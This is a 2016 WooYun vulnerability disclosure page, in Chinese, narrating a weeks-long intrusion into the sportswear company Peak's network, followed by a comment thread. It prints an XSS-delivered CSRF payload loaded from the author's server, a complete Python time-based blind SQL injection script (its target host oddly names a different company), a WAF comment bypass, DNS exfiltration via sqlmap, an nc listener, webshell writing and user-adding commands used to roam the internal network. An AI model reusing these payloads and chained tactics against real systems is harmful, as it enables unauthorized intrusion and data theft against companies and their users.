当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0204481

漏洞标题:我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

相关厂商:epeaksport.com

漏洞作者: 路人甲

提交时间:2016-05-03 09:31

修复时间:2016-05-09 09:00

公开时间:2016-05-09 09:00

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

此次测试历时大半个月吧,不容易啊

详细说明:

mask 区域
1.http://**.**.**/


先看看存不存在上传,不可以,做了限制
然后匹克某站存在xss漏洞

mask 区域
1.http://**.**.**/bugs/wooyun-2010-052615


官方修复了,前端做了限制,正常思路,抓包绕过

QQ20160502-1.png


QQ20160502-6.png


等了好几天,打到一堆,终于打到了管理的cookie

QQ20160502-5.png


成功登陆,
发现了这个

QQ20160502-4.png


试着修改图片上传类型,结果提示不是超级管理员权限不够,又用之前打到的一堆cookie试着登陆,有一个cookie登陆后,直接就302跳转了,猜想这个可能超级管理员啊
ip做了限制?
咋办啊?又纠结了好久,接着翻了翻匹克之前的洞
CSRF
缺陷编号: WooYun-2015-128938
漏洞标题: 匹克多处CSRF漏洞

mask 区域
1.http://**.**.**/bugs/wooyun-2010-0128938


后台会不会同样存在csrf呢,结果真有,全站都未做csrf防护啊
我灵机一动,当XSS遇上CSRF 是不是会有很大的“化学反应呢”
构造了个POC,放在vps上了

<html>
<script>enclosure.pic_mime.value=".php|.jsp|.aspx";enclosure.submit.focus();</script>
</html>


插入xss代码
<iframe src="http://********/test.html" />
又是过了好久,头像可以上传了,成功getshell

QQ20160502-7.png


QQ20160502-9.png


试着添加用户
net user test test /add
权限不够,不是root权限,试着提权没成功
然后想到这就算了,就在这时,我又发现了匹克一处union注入,
我就想可不可以通过其他途径getshell呢,比如select into outfile

QQ20160502-10.png


可是不知道路径...
天无绝人之路,许久之前我找到过匹克的一个盲注,影响不大就没提交,想想这回用上了
匹克主站是有安全狗的,不过可以用/**)*/绕过

QQ20160414-0.png


root权限
附上poc脚本

#encoding=utf-8
__author__ = 'Lu'
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 17):
for payload in payloads:
s = "cat_id=22) AND if((ascii(mid(lower(user()),%s,1))=%s),SLEEP(5),0) AND (8663=8663&orderBy=1&showtype=list&&virtual_cat_id=" % (i, ord(payload))
conn = httplib.HTTPConnection('http://shop1.vivo.com.cn:80', timeout=30)
conn.request(method='POST', url='/gallery-ajax_get_goods.html', body=s, headers=headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
if time.time() - start_time > 1.0:
user += payload
print '\n[in progress]', user,
break

print '\n[Done] MySQL user is %s' % user


想想这回有戏啊,mysql 可以利用LOAD_FILE弄到路径
盲注,而且还有安全狗,实在太慢了,
于是想到可以利用DNS解析获取SQL结果啊
这是一种利用DNS解析过程获取恶意SQL查询结果的先进的SQL注入技术。带有sql查询结果的DNS请求最终被攻击者控制的远程域名服务器拦截并提取出宝贵的数据。
利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。
因为sqlmap中没有过这个安全狗的tamper,于是自己仿照着space2comments.py改写了一个

QQ20160502-11.png


QQ20160502-12.png


远程登录vps
nc -lvvp 6666进行监听

QQ20160503-2.png


利用sqlmap --dns-domain --sql-shell
路径拿到

QQ20160503-7.png


利用刚刚的union注入写入shell

QQ20160503-1.png


这回是root权限

QQ20160503-2.png


net use 添加用户 远程登录

QQ20160503-6.png


成功漫游内网

QQ20160503-3.png


QQ20160503-4.png


QQ20160503-5.png


内网还有很多敏感性信息,可以直接控制扫面器打印机等,不进一步深入
整个测试过程大概经历了大半个月吧,从最开始的一个简单的绕过前端的xss,一点一点深入,各种组合拳,能到最后,其实也有很多运气的成分。这期间也学到了不少东西,明早还有安全编程的课,去睡了,晚安

漏洞证明:

已经证明

修复方案:

你们更加专业喽

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-09 09:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价

  1. 2016-05-03 09:54 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    此次测试历时大半个月吧,不容易啊

  2. 2016-05-03 09:55 | 指尖上的故事 ( 普通白帽子 | Rank:729 漏洞数:160 | 放手不是我们不合适 | 而是成就你们更适合)

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

  3. 2016-05-03 10:01 | Mark0smith ( 普通白帽子 | Rank:140 漏洞数:59 | 我要是再正常一点就好了)

    Mark

  4. 2016-05-03 10:17 | 乌云来了 打雷啦 ( 实习白帽子 | Rank:34 漏洞数:5 | 乌云来了 打雷啦)

    貌似此处会有个!!雷!!

  5. 2016-05-03 11:39 | Miss Manlin ( 路人 | Rank:4 漏洞数:2 | 小白兔)

    66666 咔嚓 打雷!

  6. 2016-05-03 11:41 | 随风的风 ( 普通白帽子 | Rank:244 漏洞数:91 | 微信公众号:233sec 不定期分享各种漏洞思...)

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

  7. 2016-05-03 12:44 | Hax0rs ( 实习白帽子 | Rank:55 漏洞数:10 | Hax0rs)

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

  8. 2016-05-03 14:35 | 习总夸我好青年 ( 路人 | Rank:2 漏洞数:1 | 刚来的,请多关照)

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

  9. 2016-05-03 15:30 | wybang ( 普通白帽子 | Rank:111 漏洞数:28 | 信息安全爱好者)

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

  10. 2016-05-03 15:49 | 从容 ( 普通白帽子 | Rank:359 漏洞数:95 | Enjoy Hacking Just Because It's Fun | ...)

    哥们不是我打击你,匹克21个漏洞报告,就确认了一个。。。

  11. 2016-05-03 15:51 | 乌云来了 打雷啦 ( 实习白帽子 | Rank:34 漏洞数:5 | 乌云来了 打雷啦)

    @从容 是啊 这个厂商不确认 然后偷偷修复漏洞

  12. 2016-05-03 15:58 | 从容 ( 普通白帽子 | Rank:359 漏洞数:95 | Enjoy Hacking Just Because It's Fun | ...)

    @乌云来了 打雷啦 重在参与2333

  13. 2016-05-06 20:49 | jdbang2016 ( 实习白帽子 | Rank:31 漏洞数:6 | 哈)

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

  14. 2016-05-09 09:07 | sauce ( 普通白帽子 | Rank:214 漏洞数:33 | test)

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

  15. 2016-05-09 09:20 | dragon110 ( 路人 | Rank:2 漏洞数:1 | 谨言、慎行、多思。)

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

  16. 2016-05-09 09:26 | DNS ( 普通白帽子 | Rank:765 漏洞数:81 | root@qisec.com)

    真忽略了